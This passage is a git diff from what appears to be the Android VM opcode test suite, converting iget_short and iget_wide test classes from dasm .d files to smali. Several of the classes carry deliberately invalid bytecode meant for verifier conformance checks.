diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
deleted file mode 100644
index 2d9ab9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_6.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
-
-       iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali
new file mode 100644
index 0000000..065e081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_6.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d
deleted file mode 100644
index 3a042d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_7.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_7no_class.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali
new file mode 100644
index 0000000..f74895e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_7.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_7no_class;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d
deleted file mode 100644
index 129d2e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_8.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_8.i1N S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali
new file mode 100644
index 0000000..ac2d82a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_8.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_8;->i1N:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d
deleted file mode 100644
index 8721333..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_9.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_9
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       const v0, 0
-       iget-short v1, v0, dot.junit.opcodes.iget_short.d.T_iget_short_9.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali
new file mode 100644
index 0000000..8cf0373
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_9.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       const v0, 0
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_9;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d
deleted file mode 100644
index 3919e04..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_1.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_1
-.super java/lang/Object
-
-.field public  i1 J
-.field protected  p1 J
-.field private  pvt1 J
-
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       
-       const-wide v0, 12345679890123
-       iput-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.i1 J
-
-       const-wide v0, 10
-       iput-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.p1 J
-
-       const-wide v0, 20
-       iput-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.pvt1 J
-       
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali
new file mode 100644
index 0000000..f4dca66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+.super Ljava/lang/Object;
+.source "T_iget_wide_1.java"
+
+
+# instance fields
+.field public i1:J
+
+.field protected p1:J
+
+.field private pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 3
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const-wide v0, 0xb3a73dd46cbL
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->i1:J
+
+    const-wide v0, 0xa
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->p1:J
+
+    const-wide v0, 0x14
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->pvt1:J
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    iget-wide v1, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->i1:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d
deleted file mode 100644
index 9a6f454..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_11.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_11
-.super dot/junit/opcodes/iget_wide/d/T_iget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/d/T_iget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.p1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali
new file mode 100644
index 0000000..66615af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_11.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_11;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d
deleted file mode 100644
index 9a2cc44..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_12.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_12
-.super dot/junit/opcodes/iget_wide/d/T_iget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/d/T_iget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.pvt1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali
new file mode 100644
index 0000000..ed406ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_12.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_12;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d
deleted file mode 100644
index 63affb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_13.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_13
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_13.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali
new file mode 100644
index 0000000..36db0c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_13.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d
deleted file mode 100644
index 3ffdc18..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_14.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali
new file mode 100644
index 0000000..a87c3f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_14;
+.super Ljava/lang/Object;
+.source "T_iget_wide_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d
deleted file mode 100644
index 5b7424b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_15.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali
new file mode 100644
index 0000000..b245fab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_15.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d
deleted file mode 100644
index ce37389..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_16.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_16
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali
new file mode 100644
index 0000000..4b8dbc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_16.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
